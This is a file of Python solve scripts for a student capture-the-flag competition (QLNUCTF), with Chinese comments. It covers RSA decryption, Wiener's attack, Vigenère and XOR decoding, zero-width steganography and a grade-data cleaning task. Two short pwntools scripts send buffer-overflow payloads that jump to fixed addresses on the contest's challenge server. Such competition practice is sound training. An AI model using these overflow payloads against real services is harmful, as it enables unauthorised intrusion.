from Crypto.Util.number import long_to_bytes, inverse

def decrypt_rsa():
    # 给定的参数
    e = 65537
    n = 1205203533194242706656471569821244119593442558404624256106113
    c = 932160866790745796274779695749272503693547301963721558016916
    
    # 你分解得到的p和q
    p = 633825300114114700748351602943
    q = 1901475900342344102245054808191
    
    # 计算phi(n)
    phi = (p - 1) * (q - 1)
    print(f"phi(n) = {phi}")
    
    # 计算私钥d
    d = inverse(e, phi)
    print(f"d = {d}")
    
    # 解密
    m = pow(c, d, n)
    print(f"解密后的数字: {m}")
    
    # 转换为字符串
    flag = long_to_bytes(m)
    print(f"flag: {flag.decode()}")

decrypt_rsa()

encoded_text = """Rqtxrv iikmgxf mkwztl, 
eah kljak aus jljcrh zivx rqrp zivx vogma, 
wf az lur'g lrzz bu eyarcn euvec rfjcz vrkiioa, 
hyg pvemv zs ysfo awxanvu xj bniz. 
Flx azuq glvr jv,
ci aimim ukx nkrmi. 
Bni ceix jn si jlf ava ilnrxiy je cby nmgt lseimim iigbqgeig si vr pspz vpngv.
UGVAGGJ{_Klz_ctfeirowtk_gbhv_}
Egt zlr arxzz or glv ajzrh jmcp hmkx nkrmi, 
ith glv Emkzmp Stivv grq xyi Iqri Emmim eopy fciil or glv azb ipbyuw.
Opow nrtmzvz eah sivczmsyc qzbgtusi qvskw glzw hwsiax jexzkh,rzvr dn ci jeehzz, 
kzrvp vjij avpc xvsk yf lfqz."""

key = "vigenere"
key_len = len(key)
key_indices = [ord(k) - ord('a') for k in key]

plain_text = ""
index = 0

for ch in encoded_text:
    if ch.isalpha():
        key_index = index % key_len
        k = key_indices[key_index]
        if ch.isupper():
            c_index = ord(ch) - ord('A')
            p_index = (c_index - k) % 26
            p_ch = chr(p_index + ord('A'))
            plain_text += p_ch
            index += 1
        elif ch.islower():
            c_index = ord(ch) - ord('a')
            p_index = (c_index - k) % 26
            p_ch = chr(p_index + ord('a'))
            plain_text += p_ch
            index += 1
    else:
        plain_text += ch

print(plain_text)

import gmpy2
from Crypto.Util.number import long_to_bytes

def rational_to_contfrac(x, y):
    # 将 x/y 展开为连分数
    a = x // y
    cf = [a]
    while a * y != x:
        x, y = y, x - a * y
        a = x // y
        cf.append(a)
    return cf

def contfrac_to_convergents(cf):
    num, den = [], []
    for i, q in enumerate(cf):
        if i == 0:
            n, d = q, 1
        elif i == 1:
            n, d = cf[0]*q + 1, q
        else:
            n, d = num[i-1]*q + num[i-2], den[i-1]*q + den[i-2]
        num.append(n)
        den.append(d)
        yield n, d

def wiener_attack(e, n):
    cf = rational_to_contfrac(e, n)
    convergents = list(contfrac_to_convergents(cf))
    
    for k, d in convergents:
        if k == 0:
            continue
        # 检查 ed ≡ 1 (mod phi) 是否成立
        # phi = (e*d - 1) / k 应为整数
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        # 解 p+q = n - phi + 1, pq = n
        b = n - phi + 1
        discriminant = b*b - 4*n
        if discriminant < 0:
            continue
        sqrt_disc = gmpy2.isqrt(discriminant)
        if sqrt_disc * sqrt_disc == discriminant:
            p = (b + sqrt_disc) // 2
            q = (b - sqrt_disc) // 2
            if p * q == n:
                return d
    return None

n = 15524502336968162113213264083143000208771089747528808927243440378994815846048732541738598541343662060705944072090112790571595734365216462475359422029539515598396836257462320144172053935981920773519291628900795734727003209282427102362312071328035249396690447022882420616824654412016015323919941506849935216835351042920763913256869541484627349668754252134362120226477781363305801820264620009009210602359945983921216104954703115057171501896354572943345835219402383390960940497577324829689088176212282684663330162412308518372789709048267881813538347107347048759597886074234955309764102002853452429523851005663115123950913
e = 6006589671986287389219749066527246949632103261444696450685584318087193111061104733634550128173308943491708926600333778456884119710635868371098325780094349491234221024665209026538807857831878567949652205028615960343018494714343407518245172773286560423451674244989995703026662065781551493132907089493158886093961239093757527575531426194117924600335995086069261077136852746793622336444947852702979329027439859901631553510191137535921891466028706929304233244770886926590603041229515941576974555484039745795065643353435724233271205987481503338485926686990090155476851712055793225407010739092800023290639107621545909742017
c = 14781231350428849586947975028124459014787122138466284195659827823086382971109262896977828823884778892285303165097449005479426733145208928725671842276043073996684747817858259243822312164878644843334369921147128702771779571191917522278473732297442303038059489412412695097152241703898990968572351771258826751925036852111171049978037140517588583140679725476697270664566138088806816244454459064557235507429794550173807907076237584332977186576778674421428877808017177545964016539548565225333223849116604688387094425691541745559413322824374225046573641050734466938670880107611772265566331832685691887699835023646054723849485

d = wiener_attack(e, n)
if d is None:
    print("Wiener's Attack failed.")
else:
    print("d =", d)
    m = pow(c, d, n)
    print("m =", long_to_bytes(m))

import base64

lines = [
"QUJDF==","QUJDB==","QUJDE==","QUJDM==","QUJDE==","QUJDO==","QUJDF==","QUJDF==",
"QUJDE==","QUJDD==","QUJDF==","QUJDE==","QUJDE==","QUJDG==","QUJDH==","QUJDL==",
"QUJDE==","QUJDH==","QUJDG==","QUJDP==","QUJDF==","QUJDP==","QUJDH==","QUJDH==",
"QUJDG==","QUJDJ==","QUJDH==","QUJDE==","QUJDG==","QUJDI==","QUJDF==","QUJDP==",
"QUJDH==","QUJDJ==","QUJDG==","QUJDP==","QUJDH==","QUJDF==","QUJDH==","QUJDC==",
"QUJDF==","QUJDP==","QUJDG==","QUJDH==","QUJDH==","QUJDF==","QUJDH==","QUJDE==",
"QUJDH==","QUJDN=="
]

# 提取每行的第 5 个字符
extras = "".join([ln[4] for ln in lines if len(ln) >= 5])

# 把 extras 当 base64 解码（补齐）
while len(extras) % 4 != 0:
    extras += "="
data = base64.b64decode(extras)

# 由于原来的值都在 0..15（半字节），把它们两两合并成字节：
# 方法：先把 extras 每个字符转成 base64 索引（0..63），这里实际都在 0..15
def b64val(ch):
    if 'A' <= ch <= 'Z': return ord(ch) - 65
    if 'a' <= ch <= 'z': return ord(ch) - 97 + 26
    if '0' <= ch <= '9': return ord(ch) - 48 + 52
    if ch == '+': return 62
    if ch == '/': return 63
    return 0

vals = [b64val(c) for c in extras if c != '=']
# 两两合并成字节
bytes_out = bytes((vals[i] << 4) | vals[i+1] for i in range(0, len(vals), 2))
print(bytes_out.decode())

import zero_width_lib as zwlib

text = "齐‍‏‏​‍‎‏​‍‎‍​‍‌‎​‌‍‌​‍‏​‌‎​‍​‍‍‎​‎‏​‌​‌‏​‍‎​‍‌‌​‏​‎‎​‌‏‎​‎​‍‎​‍‌‌​‏‍​‍‏‌​‎‎​‏‎‎‎鲁师范学院网络安全社团（QLNU-Sec-Team） 是由齐鲁师范学院学生自发组建的专业技术性社团，面向全校各年级、各专业对网络安全技术感兴趣的同学。社团的核心目标是为热爱网络安全的学生提供高质量交流平台，推动网络安全技术的普及与行业人才质量的提升；通过竞赛实践形式激发学生对网络安全的学习兴趣，为学校培养网络安全专业人才。未来，社团将继续秉持这一宗旨，持续探索网络安全技术领域，致力于扩大网络安全在校园内外的影响力，为更多志同道合的学生提供学习与发展机会，在网络安全领域持续推进。​"

try:
    hidden_text = zwlib.decode(text)
    print(f"{hidden_text}")
    print()
except Exception as e:
    print(f"No")

#!/usr/bin/env python3
from pwn import *

# 简单直接版本
p = remote('challenge.qlnu-sec.cn', 9635)

# 发送payload
payload = b'A' * 40 + p64(0x401156)
p.sendline(payload)

# 直接进入交互模式
p.interactive()

#!/usr/bin/env python3
from pwn import *

# 简单直接版本
p = remote('challenge.qlnu-sec.cn', 9388)

# 发送payload
payload = b'A' * 72 + p64(0x401674)
p.sendline(payload)

# 直接进入交互模式
p.interactive()

keys = [0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77]
encrypted_flag = [0x40, 0x6E, 0x7D, 0x11, 0x16, 0x32, 0x31, 0xF3, 0xFF, 0xC6, 0x8B, 0xBF, 0x98, 0x9C, 0xA0, 0x69, 0x4B, 0x4B, 0x0D, 0x3C, 0x0F, 0x0A]

flag = ""
for i in range(22):
    decrypted_char = encrypted_flag[i] ^ keys[i]
    flag += chr(decrypted_char)
    print(f"位置 {i}: {encrypted_flag[i]:02X} ^ {keys[i]:02X} = {decrypted_char:02X} ('{chr(decrypted_char) if 32 <= decrypted_char <= 126 else '?'}')")

print(f"\n解密后的flag: {flag}")

# 原始加密字符串
encrypted_str = "XEG\\J]Oro`na}`gnVDhz}l{zt"

# 对每个字符进行异或9操作
decrypted = ''.join(chr(ord(c) ^ 9) for c in encrypted_str)

print(f"解密结果: {decrypted}")

import pandas as pd
import re
import hashlib
import chardet

def detect_encoding(file_path):
    """检测文件编码"""
    with open(file_path, 'rb') as f:
        result = chardet.detect(f.read())
    return result['encoding']

def clean_data(file_path):
    # 检测文件编码
    encoding = detect_encoding(file_path)
    print(f"检测到文件编码: {encoding}")
    
    # 尝试用不同编码读取文件
    try:
        df = pd.read_csv(file_path, encoding=encoding)
    except:
        # 如果检测的编码不行，尝试常见的中文编码
        encodings = ['gbk', 'gb2312', 'utf-8', 'latin1']
        for enc in encodings:
            try:
                df = pd.read_csv(file_path, encoding=enc)
                print(f"成功使用编码: {enc}")
                break
            except:
                continue
        else:
            raise Exception("无法读取文件，请检查文件格式")
    
    valid_records = []
    
    for index, row in df.iterrows():
        try:
            # 提取学号信息
            student_id_raw = str(row['学号'])
            
            # 清洗学号：提取2025开头的10位数字
            student_id_match = re.search(r'2025\d{6}', student_id_raw)
            if not student_id_match:
                continue
                
            student_id = student_id_match.group()
            
            # 验证学号格式（必须是2025开头的10位数字）
            if len(student_id) != 10 or not student_id.startswith('2025'):
                continue
            
            # 从学号解析年级和班级
            # 学号格式：2025 A B CDEF，其中第6-7位表示年级和班级
            grade_from_id = student_id[5]  # 第6位数字
            class_from_id = student_id[6]  # 第7位数字
            
            # 清洗班级信息
            class_raw = str(row['班级'])
            # 匹配多种班级格式：X年级X班、X.X、X年级X班等
            class_match = re.search(r'(\d)[年级\.\s]*(\d)', class_raw)
            if not class_match:
                continue
                
            grade_from_class = class_match.group(1)
            class_from_class = class_match.group(2)
            
            # 验证学号与班级的一致性
            if grade_from_id != grade_from_class or class_from_id != class_from_class:
                continue
            
            # 处理成绩数据
            def parse_score(score):
                if pd.isna(score) or score == '缺考' or score == '':
                    return None
                try:
                    return float(score)
                except:
                    return None
            
            chinese_score = parse_score(row['语文'])
            math_score = parse_score(row['数学']) 
            english_score = parse_score(row['英语'])
            
            # 检查是否所有成绩都无效
            if chinese_score is None and math_score is None and english_score is None:
                continue
            
            # 记录有效数据
            valid_records.append({
                '学号': student_id,
                '姓名': row['姓名'],
                '班级': row['班级'],
                '语文': chinese_score,
                '数学': math_score,
                '英语': english_score,
                '总分': (chinese_score if chinese_score is not None else 0) + 
                       (math_score if math_score is not None else 0) + 
                       (english_score if english_score is not None else 0)
            })
        except Exception as e:
            # 跳过处理出错的记录
            continue
    
    return valid_records

def analyze_data(valid_records):
    if not valid_records:
        return None
    
    df_valid = pd.DataFrame(valid_records)
    
    # 找出各科最高分学生（只考虑有效成绩）
    chinese_scores = df_valid[df_valid['语文'].notna()]
    math_scores = df_valid[df_valid['数学'].notna()]
    english_scores = df_valid[df_valid['英语'].notna()]
    
    chinese_max = chinese_scores.loc[chinese_scores['语文'].idxmax()] if not chinese_scores.empty else None
    math_max = math_scores.loc[math_scores['数学'].idxmax()] if not math_scores.empty else None
    english_max = english_scores.loc[english_scores['英语'].idxmax()] if not english_scores.empty else None
    total_max = df_valid.loc[df_valid['总分'].idxmax()]
    
    return {
        'total_count': len(valid_records),
        'chinese_max_student': chinese_max['学号'] if chinese_max is not None else '无有效数据',
        'math_max_student': math_max['学号'] if math_max is not None else '无有效数据',
        'english_max_student': english_max['学号'] if english_max is not None else '无有效数据',
        'total_max_student': total_max['学号']
    }

def generate_flag(results):
    # 构建待哈希字符串
    hash_string = f"{results['total_count']}-{results['chinese_max_student']}-{results['math_max_student']}-{results['english_max_student']}-{results['total_max_student']}"
    
    # 计算MD5
    md5_hash = hashlib.md5(hash_string.encode()).hexdigest()
    
    return f"QLNUCTF{{{md5_hash}}}", hash_string

def main():
    # 文件路径
    file_path = "125846_students_data.csv"
    
    try:
        # 数据清洗
        print("正在进行数据清洗...")
        valid_records = clean_data(file_path)
        
        if not valid_records:
            print("未找到有效数据！")
            return
        
        print(f"有效数据条数：{len(valid_records)}")
        
        # 统计分析
        print("正在进行统计分析...")
        results = analyze_data(valid_records)
        
        # 显示统计结果
        df_valid = pd.DataFrame(valid_records)
        
        if results['chinese_max_student'] != '无有效数据':
            chinese_max_row = df_valid[df_valid['学号'] == results['chinese_max_student']].iloc[0]
            print(f"语文最高分：{chinese_max_row['语文']}分 | 学生：{chinese_max_row['姓名']}（学号：{chinese_max_row['学号']}，班级：{chinese_max_row['班级']}）")
        else:
            print("语文：无有效成绩数据")
        
        if results['math_max_student'] != '无有效数据':
            math_max_row = df_valid[df_valid['学号'] == results['math_max_student']].iloc[0]
            print(f"数学最高分：{math_max_row['数学']}分 | 学生：{math_max_row['姓名']}（学号：{math_max_row['学号']}，班级：{math_max_row['班级']}）")
        else:
            print("数学：无有效成绩数据")
        
        if results['english_max_student'] != '无有效数据':
            english_max_row = df_valid[df_valid['学号'] == results['english_max_student']].iloc[0]
            print(f"英语最高分：{english_max_row['英语']}分 | 学生：{english_max_row['姓名']}（学号：{english_max_row['学号']}，班级：{english_max_row['班级']}）")
        else:
            print("英语：无有效成绩数据")
        
        total_max_row = df_valid[df_valid['学号'] == results['total_max_student']].iloc[0]
        print(f"三科总分最高分：{total_max_row['总分']}分 | 学生：{total_max_row['姓名']}（学号：{total_max_row['学号']}，班级：{total_max_row['班级']}）")
        
        # 生成Flag
        flag, hash_string = generate_flag(results)
        
        print(f"\n待哈希字符串：{hash_string}")
        print(f"最终Flag：{flag}")
        
    except FileNotFoundError:
        print(f"错误：找不到文件 {file_path}")
        print("请确保文件路径正确，且文件存在于当前目录")
    except Exception as e:
        print(f"处理过程中出现错误：{e}")
        print("尝试安装chardet库：pip install chardet")

if __name__ == "__main__":
    main()

import base64
import uuid

# 加密的数据
encoded_flag = "UE5NUUJWRX/dVpdJBXFBuZxXYXvvNsn3fA=="

# Base64 解码
encrypted_bytes = base64.b64decode(encoded_flag)

def xor_decrypt(data, key):
    """使用 4 字节密钥进行 XOR 解密"""
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)

# 使用找到的密钥
key = b'\x01\x02\x03\x04'
decrypted = xor_decrypt(encrypted_bytes, key)

# 提取括号内的16字节
uuid_bytes = decrypted[8:24]  # 从第8字节开始（不包括'{'）到第24字节（不包括'}'）

# 尝试将这16字节转换为UUID
try:
    flag_uuid = uuid.UUID(bytes=uuid_bytes)
    print(f"UUID: {flag_uuid}")
    # 将整个解密结果替换为UUID字符串
    flag_text = decrypted[:8].decode() + str(flag_uuid) + decrypted[24:].decode()
    print(f"Flag: {flag_text}")
except Exception as e:
    print(f"错误: {e}")